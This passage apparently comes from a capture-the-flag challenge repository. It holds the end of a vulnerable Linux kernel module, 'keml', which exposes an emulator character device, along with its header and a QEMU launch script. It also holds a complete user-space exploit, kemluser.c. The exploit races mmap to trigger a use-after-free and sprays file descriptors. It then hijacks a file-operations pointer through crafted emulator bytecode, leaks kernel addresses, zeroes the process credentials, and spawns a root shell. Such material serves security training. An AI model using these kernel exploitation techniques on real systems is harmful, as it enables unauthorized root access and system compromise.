636 | } 637 | 638 | dealloc_units: 639 | for (i=0;ivm_private_data; 673 | 674 | if (unit) { 675 | //pr_info("vm_open on %d", unit->id); 676 | keml_emul_unit_get(unit); 677 | } 678 | } 679 | 680 | static void keml_vm_close(struct vm_area_struct *vma) 681 | { 682 | struct keml_emul_unit *unit = vma->vm_private_data; 683 | 684 | if (unit) { 685 | //pr_info("vm_close on %d", unit->id); 686 | keml_emul_unit_put(unit); 687 | } 688 | } 689 | 690 | static const struct vm_operations_struct keml_vm_ops = { 691 | .open = keml_vm_open, 692 | .close = keml_vm_close, 693 | }; 694 | 695 | static int keml_mmap(struct file *filp, struct vm_area_struct *vma) 696 | { 697 | unsigned int ret; 698 | struct keml_emul_unit *unit = NULL; 699 | unsigned long vmasize = vma->vm_end - vma->vm_start; 700 | 701 | //pr_info("in mmap for %d\n", (int)vma->vm_pgoff); 702 | if (vma->vm_flags & VM_WRITE) 703 | return -EPERM; 704 | 705 | ret = get_emul_unit(&unit, vma->vm_pgoff, vmasize); 706 | if (ret) 707 | return ret; 708 | 709 | //pr_info("mapping unit %d\n", unit->id); 710 | 711 | /* set up the vma to disallow writability */ 712 | vma->vm_flags &= ~VM_MAYWRITE; 713 | 714 | /* allow open/close to reference it */ 715 | vma->vm_private_data = unit; 716 | 717 | /* use our routines */ 718 | vma->vm_ops = &keml_vm_ops; 719 | 720 | vma->vm_page_prot = pgprot_writecombine(vma->vm_page_prot); 721 | 722 | /* finally give access */ 723 | ret = remap_pfn_range(vma, 724 | vma->vm_start, 725 | virt_to_phys((void *)unit->kernel_addr) >> PAGE_SHIFT, 726 | vmasize, 727 | vma->vm_page_prot); 728 | 729 | if (ret != 0) { 730 | //pr_err("failed to remap pfn range\n"); 731 | goto errput; 732 | } 733 | 734 | return ret; 735 | 736 | errput: 737 | keml_emul_unit_put(unit); 738 | return ret; 739 | } 740 | 741 | /* --- BOILERPLATE --- */ 742 | static int keml_open(struct inode *inode, struct file *filp) 743 | { 744 | //pr_info("keml opened\n"); 745 | return 0; 746 | } 747 | 748 | static const struct file_operations keml_fops = { 749 | .owner = THIS_MODULE, 750 | .open = keml_open, 751 | .mmap = keml_mmap, 752 | .unlocked_ioctl = keml_ioctl, 753 | }; 754 | 755 | static int __init keml_init(void) 756 | { 757 | int error = 0; 758 | 759 | error = register_chrdev(MAJORNUM, "keml", &keml_fops); 760 | if (error) { 761 | //pr_err("failed to register chrdev\n"); 762 | return error; 763 | } 764 | 765 | //pr_info("keml initialized as chrdev\n"); 766 | 767 | emul_unit_cache = kmem_cache_create("keml_emul_unit", 768 | sizeof(struct keml_emul_unit), 769 | __alignof__(struct keml_emul_unit), 770 | 0, 771 | NULL); 772 | 773 | if (!emul_unit_cache) { 774 | //pr_err("failed to create kmem cache\n"); 775 | return -1; 776 | } 777 | 778 | spin_lock_init(&keml_device.mem_lock); 779 | spin_lock_init(&keml_device.unit_idr_lock); 780 | idr_init(&keml_device.unit_idr); 781 | 782 | return 0; 783 | } 784 | 785 | static void __exit keml_cleanup(void) 786 | { 787 | unregister_chrdev(MAJORNUM, "keml"); 788 | } 789 | 790 | module_init(keml_init); 791 | module_exit(keml_cleanup); 792 | 793 | MODULE_LICENSE("GPL"); 794 | -------------------------------------------------------------------------------- /service/src/keml.h: -------------------------------------------------------------------------------- 1 | #ifndef __KEML_H__ 2 | #define __KEML_H__ 3 | #include 4 | #include 5 | 6 | #define EMUL_PAGE_EXEC 4 7 | #define EMUL_PAGE_WRITE 2 8 | #define EMUL_PAGE_READ 1 9 | 10 | void keml_emul_unit_destroy(struct kref *); 11 | 12 | /* struct defs */ 13 | typedef struct keml_dev { 14 | spinlock_t mem_lock; 15 | spinlock_t unit_idr_lock; 16 | struct idr unit_idr; 17 | } keml_dev_t; 18 | 19 | struct keml_emul_unit { 20 | struct kref refcount; 21 | int id; 22 | spinlock_t unit_lock; 23 | unsigned long kernel_addr; 24 | unsigned int pages; 25 | int pending_free; 26 | }; 27 | 28 | /* emulation */ 29 | enum { 30 | MOV_REG_IMM, 31 | MOV_REG_REG, 32 | ADD_REG_IMM, // 2 33 | ADD_REG_REG, 34 | SUB_REG_IMM, // 4 35 | SUB_REG_REG, 36 | XOR_REG_IMM, // 6 37 | XOR_REG_REG, 38 | STR_ADR_REG, // 8 39 | STR_REG_REG, 40 | LDR_REG_ADR, // 10 41 | LDR_REG_REG, 42 | CMP_REG_IMM, // 12 43 | CMP_REG_REG, 44 | JMP_IMM, // 14 45 | JMP_REG, 46 | JE_IMM, // 16 47 | JE_REG, 48 | JL_IMM, // 18 49 | JL_REG, 50 | JA_IMM, // 20 51 | JA_REG, 52 | JNE_IMM, // 22 53 | JNE_REG, 54 | CALL_IMM, // 24 55 | CALL_REG, 56 | RET, // 26 57 | NOP, 58 | PUSH_REG, // 28 59 | POP_REG, 60 | }; 61 | 62 | struct processor { 63 | uint16_t pc; 64 | uint16_t sp; 65 | uint16_t flags; 66 | uint16_t gpr[16]; 67 | }; 68 | 69 | /* must be size of unsigned long */ 70 | struct instruction { 71 | uint8_t opcode; 72 | uint8_t reg; 73 | union { 74 | uint16_t addr; 75 | uint16_t reg; 76 | uint16_t immed; 77 | } op; 78 | }; 79 | 80 | /* ioctl params */ 81 | struct emul_create_param { 82 | unsigned int n_pages; 83 | unsigned int id; 84 | }; 85 | 86 | struct emul_issue_order_param { 87 | size_t n_instructions; 88 | uint32_t *instructions; 89 | size_t n_units; 90 | int *unit_handles; 91 | }; 92 | 93 | /* helpers */ 94 | static inline int 95 | keml_emul_unit_get(struct keml_emul_unit *unit) 96 | { 97 | if (unit) 98 | kref_get(&unit->refcount); 99 | return 0; 100 | } 101 | 102 | static inline int 103 | keml_emul_unit_put(struct keml_emul_unit *unit) 104 | { 105 | if (unit) 106 | kref_put(&unit->refcount, keml_emul_unit_destroy); 107 | return 0; 108 | } 109 | 110 | /* ioctl codes */ 111 | #define IOCTL_NEW_EMUL_UNIT _IOWR('k', 1, void *) 112 | #define IOCTL_NEW_DATA_UNIT _IOWR('k', 2, uint64_t) 113 | #define IOCTL_ISSUE_ORDER _IOWR('k', 3, void *) 114 | #define IOCTL_GET_UNIT _IOWR('k', 4, void *) 115 | #define IOCTL_DESTROY_UNIT _IOWR('k', 5, int) 116 | #endif 117 | -------------------------------------------------------------------------------- /service/src/kemluser.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define IOCTL_NEW_EMUL_UNIT _IOWR('k', 1, void *) 11 | #define IOCTL_GET_EMUL_UNIT _IOWR('k', 4, void *) 12 | #define IOCTL_DEL_EMUL_UNIT _IOWR('k', 5, int) 13 | #define IOCTL_ISSUE_ORDER _IOWR('k', 3, void *) 14 | 15 | #define FAIL(s) do { printf("Failed to " s "\n"); } while (0) 16 | 17 | struct keml_create_unit { 18 | unsigned pages; 19 | int id; 20 | }; 21 | 22 | struct keml_issue_order { 23 | size_t n_instrs; 24 | long *instrs; 25 | size_t n_units; 26 | int *units; 27 | }; 28 | 29 | int keml_fd = 0; 30 | volatile int do_race = 0; 31 | volatile int race_thread_ready = 0; 32 | volatile int race_won = 0; 33 | struct keml_create_unit *race_args = NULL; 34 | volatile int ioctl_failure = 0; 35 | volatile int next_attempt = 33; 36 | volatile int won_with = 0; 37 | void *leak_map; 38 | 39 | volatile int race2_thread_ready = 0; 40 | volatile int do_race2 = 0; 41 | 42 | int hijacked_fds[1024] = {0}; 43 | 44 | void race_it() { 45 | int i; 46 | unsigned long err; 47 | 48 | printf("In race thread...\n"); 49 | race_thread_ready = 1; 50 | while (1) { 51 | if (do_race) { 52 | err = mmap(NULL, 4 * 0x1000, PROT_READ, MAP_PRIVATE, keml_fd, 53 | 33 * 0x1000); 54 | if (err != -1) { 55 | printf("RACE WON %p\n", err); 56 | race_won = 1; 57 | leak_map = err; 58 | break; 59 | } 60 | } 61 | } 62 | race2_thread_ready = 1; 63 | while (!do_race2) { ; } 64 | printf("Issuing destroy\n"); 65 | ioctl(keml_fd, IOCTL_DEL_EMUL_UNIT, 33); 66 | 67 | munmap(leak_map, 0x4000); 68 | printf("Destroyed, but ref still exists\n"); 69 | 70 | for(i=0;i<512;i++) { 71 | //hijacked_fds[i] = open("/proc/self/cmdline", O_RDONLY); 72 | hijacked_fds[i] = open("/etc/passwd", O_RDONLY); 73 | } 74 | } 75 | 76 | unsigned long read_long(int fd, unsigned long addr) { 77 | unsigned long ret = 0; 78 | addr -= 0x18; 79 | ret = lseek(fd, addr, 0); 80 | printf("ret: %x\n", ret); 81 | unsigned long tmp = lseek(fd, addr+4, 0); 82 | ret = (tmp << 32) | (ret); 83 | printf("ret: %lx\n", ret); 84 | return ret; 85 | } 86 | 87 | void write_zero(int fd, unsigned long addr) { 88 | ioctl(fd, 0x1337, addr - 0x1ac); 89 | } 90 | 91 | int main(void) { 92 | // first some tests 93 | int fd = open("/dev/keml", O_RDONLY); 94 | printf("Keml at fd %d\n", fd); 95 | 96 | keml_fd = fd; 97 | 98 | int i; 99 | struct keml_create_unit cu = {1, 0}; 100 | int id = 0; 101 | for (i=0;i<32;i++) { 102 | ioctl(fd, IOCTL_NEW_EMUL_UNIT, &cu); 103 | printf("cu.id: %d\n", cu.id); 104 | } 105 | 106 | unsigned long err = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0x4000); 107 | if (err == -1) { 108 | FAIL("mmap unit 4"); 109 | } 110 | 111 | err = mprotect(err, 0x1000, PROT_READ|PROT_WRITE); 112 | if (err) FAIL("mprotect unit 4"); 113 | 114 | err = ioctl(fd, IOCTL_DEL_EMUL_UNIT, 4); 115 | 116 | err = ioctl(fd, IOCTL_DEL_EMUL_UNIT, 4); 117 | if (err) FAIL("delete unit 4"); 118 | 119 | 120 | //unsigned int instructions[4] = {0x00010100, 0x01010101, 0, 0}; 121 | unsigned char *instructions = \ 122 | "\x00\x01\x00\xff" \ 123 | "\x00\x02\x00\xcc" \ 124 | "\x08\x01\x01\x00" \ 125 | "\x0a\x00\x01\x00" \ 126 | 127 | "\x02\x00\x00\x20" \ 128 | "\x03\x00\x00\x02" \ 129 | "\x08\x00\x00\x01" \ 130 | "\x09\x00\x00\x02" \ 131 | 132 | "\x0b\x03\x00\x02" \ 133 | "\x09\x03\x00\x03" \ 134 | "\x00\x04\x00\x34" \ 135 | "\x0f\x00\x00\x04" \ 136 | 137 | "\xff\xff\xff\xff" \ 138 | "\x00\x0f\x00\x03" \ 139 | "\x0c\x0f\x00\x00" \ 140 | "\x10\x00\x00\x48" \ 141 | 142 | "\x04\x0f\x00\x01" \ 143 | "\x0e\x00\x00\x38" \ 144 | "\x00\x10\x22\x22" \ 145 | "\x18\x00\x00\x50" \ 146 | "\x1d\x00\x00\x00"; 147 | 148 | int handles[4] = {1, 2, 3, 5}; 149 | struct keml_issue_order io; 150 | 151 | io.n_instrs = 0x54/4; 152 | io.instrs = instructions; 153 | io.n_units = 4; 154 | io.units = &handles; 155 | 156 | err = ioctl(keml_fd, IOCTL_ISSUE_ORDER, &io); 157 | if (err) { 158 | printf("err: %d\n", err); 159 | FAIL("issue order with sane params"); 160 | return 1; 161 | } 162 | 163 | io.n_instrs = -1; 164 | err = ioctl(keml_fd, IOCTL_ISSUE_ORDER, &io); 165 | if (err) { 166 | FAIL("Issuing orders with overflowing instrs"); 167 | } 168 | 169 | io.n_instrs = 4; 170 | io.n_units = 17; 171 | err = ioctl(keml_fd, IOCTL_ISSUE_ORDER, &io); 172 | if (err) { 173 | FAIL("Issuing order with overflowing units"); 174 | } 175 | 176 | void *w = mmap(0, 0x1000, PROT_READ, MAP_PRIVATE, keml_fd, 0x1000); 177 | if (w == MAP_FAILED) { 178 | FAIL("mmap for emulation test"); 179 | return -1; 180 | } 181 | 182 | unsigned long *wmap = (unsigned long *)w; 183 | for(i=0;i<0x1000/8;i++) { 184 | if (wmap[i]) { 185 | printf("Found something [%d] %lx\n", i, wmap[i]); 186 | } 187 | } 188 | 189 | // now exploit 190 | pthread_t thread_id; 191 | err = pthread_create(&thread_id, NULL, &race_it, NULL); 192 | printf("Err: %d\n", err); 193 | 194 | while(!race_thread_ready) { ; } 195 | do_race = 1; 196 | while(!race_won) { 197 | void *args = mmap(0, 0x2000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, 0, 0); 198 | munmap(args + 0x1000, 0x1000); 199 | struct keml_create_unit *p = (struct keml_create_unit *)(args + 0xffc); 200 | p->pages = 4; 201 | ioctl(fd, IOCTL_NEW_EMUL_UNIT, p); 202 | } 203 | 204 | unsigned long *leak_ints = (unsigned long *)leak_map; 205 | for(i=0;i<(4*0x1000)/8;i++) { 206 | if (leak_ints[i]) { 207 | printf("Found something [%d] %lx\n", i, leak_ints[i]); 208 | } 209 | } 210 | 211 | printf("Race has been won, only 1 ref on unit now\n"); 212 | 213 | struct keml_create_unit copy_unit; 214 | copy_unit.pages = 4; 215 | 216 | err = ioctl(fd, IOCTL_NEW_EMUL_UNIT, ©_unit); 217 | if (err) { 218 | printf("failed to set up copy unit\n"); 219 | return 1; 220 | } 221 | 222 | /* 0x28 is an fops */ 223 | unsigned char *long_loop = \ 224 | "\x00\x01\x01\x01" \ 225 | "\x00\x00\xff\xff" \ 226 | "\x04\x00\x00\x01" \ 227 | "\x0c\x00\x00\x00" \ 228 | 229 | // 0x10 230 | "\x16\x00\x00\x08" \ 231 | "\x04\x01\x00\x01" \ 232 | "\x0c\x01\x00\x00" \ 233 | "\x16\x00\x00\x04" \ 234 | 235 | // 0x20 236 | "\x06\x01\x00\xff" \ 237 | "\x00\xff\x00\x02" \ 238 | "\x04\xff\x00\x01" \ 239 | "\x0c\xff\x00\x00" \ 240 | 241 | // 0x30 242 | "\x10\x00\x00\x38" \ 243 | "\x18\x00\x00\x28" \ 244 | // copy a ll pointer in the next object 245 | // and write over the fops ptr with it 246 | "\x00\x09\x00\x8f" \ 247 | "\x0a\x04\x01\xd0" \ 248 | 249 | // 0x40 250 | "\x0a\x05\x01\xd1" \ 251 | "\x0a\x06\x01\xd2" \ 252 | "\x0a\x07\x01\xd3" \ 253 | "\x0a\x08\x01\xd4" \ 254 | 255 | // 0x50 256 | "\x0a\x09\x01\xd5" \ 257 | "\x0a\x0a\x01\xd6" \ 258 | "\x0a\x0b\x01\xd7" \ 259 | // begin copying it over the fop 260 | "\x08\x0b\x00\x2f" \ 261 | 262 | // 0x60 263 | "\x08\x0a\x00\x2e" \ 264 | "\x08\x09\x00\x2d" \ 265 | "\x08\x08\x00\x2c" \ 266 | "\x08\x07\x00\x2b" \ 267 | 268 | // 0x70 269 | "\x08\x06\x00\x2a" \ 270 | "\x08\x05\x00\x29" \ 271 | "\x08\x04\x00\x28" \ 272 | // obtain kernel base address 273 | "\x0a\x04\x01\x28" \ 274 | 275 | // 0x80 276 | "\x0a\x05\x01\x29" \ 277 | "\x0a\x06\x01\x2a" \ 278 | "\x0a\x07\x01\x2b" \ 279 | "\x0a\x08\x01\x2c" \ 280 | 281 | // 0x90 282 | "\x0a\x09\x01\x2d" \ 283 | "\x0a\x0a\x01\x2e" \ 284 | "\x0a\x0b\x01\x2f" \ 285 | "\x04\x05\x00\x5b" \ 286 | 287 | // 0xa0 288 | "\x0c\x06\x00\xc1" \ 289 | "\x14\x06\x00\xac" \ 290 | "\x04\x07\x00\x01" \ 291 | "\x04\x06\x00\xc2" \ 292 | 293 | // 0xb0 294 | "\x01\x00\x00\x04" \ 295 | "\x01\x01\x00\x05" \ 296 | "\x01\x02\x00\x06" \ 297 | "\x02\x04\x00\x4a" \ 298 | 299 | // 0xc0 300 | "\x02\x05\x00\x8a" \ 301 | "\x02\x06\x00\x17" \ 302 | "\x08\x04\x01\xd8" \ 303 | "\x08\x05\x01\xd9" \ 304 | 305 | // 0xd0 306 | "\x08\x06\x01\xda" \ 307 | "\x08\x07\x01\xdb" \ 308 | "\x08\x08\x01\xdc" \ 309 | "\x08\x09\x01\xdd" \ 310 | 311 | // 0xe0 312 | "\x08\x0a\x01\xde" \ 313 | "\x08\x0b\x01\xdf" \ 314 | // add offset of the store gadget 315 | "\x02\x00\x00\x1f" \ 316 | "\x02\x01\x00\x69" \ 317 | 318 | // 0xf0 319 | "\x02\x02\x00\x01" \ 320 | "\x08\x00\x02\x20" \ 321 | "\x08\x01\x02\x21" \ 322 | "\x08\x02\x02\x22" \ 323 | 324 | // 0x100 325 | "\x08\x07\x02\x23" \ 326 | "\x08\x08\x02\x24" \ 327 | "\x08\x09\x02\x25" \ 328 | "\x08\x0a\x02\x26" \ 329 | 330 | // 0x110 331 | "\x08\x0b\x02\x27" \ 332 | "\x00\x00\x00\x00" \ 333 | "\x00\x01\x40\x00" \ 334 | "\x0b\x02\x00\x00" \ 335 | 336 | // 0x120 337 | "\x09\x02\x00\x01" \ 338 | "\x02\x00\x00\x01" \ 339 | "\x02\x01\x00\x01" \ 340 | "\x0c\x00\x40\x00" \ 341 | 342 | // 0x130 343 | "\x16\x00\x01\x1c" \ 344 | "\x06\x03\x00\xff"; 345 | 346 | struct keml_issue_order ioll; 347 | 348 | printf("copy unit handle: %d\n", copy_unit.id); 349 | int xh[2] = {33, copy_unit.id}; 350 | 351 | ioll.n_instrs = 0x138 / 4 ; 352 | ioll.instrs = long_loop; 353 | ioll.n_units = 2; 354 | ioll.units = &xh; 355 | 356 | while (!race2_thread_ready) {;} 357 | do_race2 = 1; 358 | ioctl(fd, IOCTL_ISSUE_ORDER, &ioll); 359 | 360 | err = mmap(0, 0x4000, PROT_READ, MAP_PRIVATE, fd, copy_unit.id * 0x1000); 361 | if (err == MAP_FAILED) { 362 | FAIL("mmap copy out"); 363 | return 1; 364 | } 365 | 366 | 367 | unsigned long *copy_out_ints = (unsigned long *)err; 368 | for(i=0;i<(4*0x1000)/8;i++) { 369 | if (copy_out_ints[i]) { 370 | printf("Found something [%d] %lx\n", i, copy_out_ints[i]); 371 | } 372 | } 373 | printf("DONE\n"); 374 | unsigned long self = copy_out_ints[5]; 375 | 376 | int control_fd = 0; 377 | off_t lret = 0; 378 | for (i=0;i<1024;i++) { 379 | lret = lseek(hijacked_fds[i], self - 0x18, 0); 380 | if (lret != -1) { 381 | printf("lret: %x\n", lret); 382 | control_fd = hijacked_fds[i]; 383 | lret = lseek(control_fd, self - 0x18 , 0); 384 | printf("lret: %x\n", lret); 385 | break; 386 | } 387 | } 388 | printf("control_fd: %d\n", control_fd); 389 | 390 | unsigned long generic_file_llseek = read_long(control_fd, copy_out_ints[485] + 8); 391 | printf("generic_file_llseek: %lx\n", generic_file_llseek); 392 | 393 | 394 | unsigned long credptr = copy_out_ints[466]; 395 | printf("credptr: %lx", credptr); 396 | unsigned long cred = read_long(control_fd, credptr + 4); 397 | printf("cred: %lx\n", cred); 398 | 399 | write_zero(control_fd, credptr + 4); 400 | write_zero(control_fd, credptr + 8); 401 | 402 | 403 | cred = read_long(control_fd, credptr + 4); 404 | printf("cred: %lx\n", cred); 405 | 406 | printf("getuid(): :%d\n", getuid()); 407 | if (setuid(0)) { 408 | FAIL("setuid(0)"); 409 | return 1; 410 | } 411 | char *binsh = "/bin/sh"; 412 | char *argv[2] = {binsh, NULL}; 413 | 414 | execve(binsh, argv, NULL); 415 | return 0; 416 | } 417 | -------------------------------------------------------------------------------- /service/wrapper: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #exec 2>/dev/null 4 | 5 | echo "Spawning the VM..." 6 | 7 | exec timeout -k1 120 stdbuf -i0 -o0 -e0 \ 8 | qemu-system-x86_64 \ 9 | -cpu qemu64,-smep,-smap \ 10 | -kernel bzImage \ 11 | -initrd initramfs.cpio.gz \ 12 | -nographic \ 13 | -append "root=/dev/ram rw console=ttyS0 oops=panic loglevel=2 panic=1 console=ttyS0" \ 14 | -monitor none \ 15 | -no-reboot \ 16 | -nodefaults -snapshot \ 17 | -chardev stdio,id=char0,mux=off,signal=off -serial chardev:char0 \ 18 | -sandbox on,obsolete=deny,elevateprivileges=deny,spawn=deny,resourcecontrol=deny \ 19 | -m 64M 20 | 21 | # -chroot /srv 22 | # -runas nobody 23 | # -sandbox on 24 | 25 | # -name -uuid -pidfile 26 | --------------------------------------------------------------------------------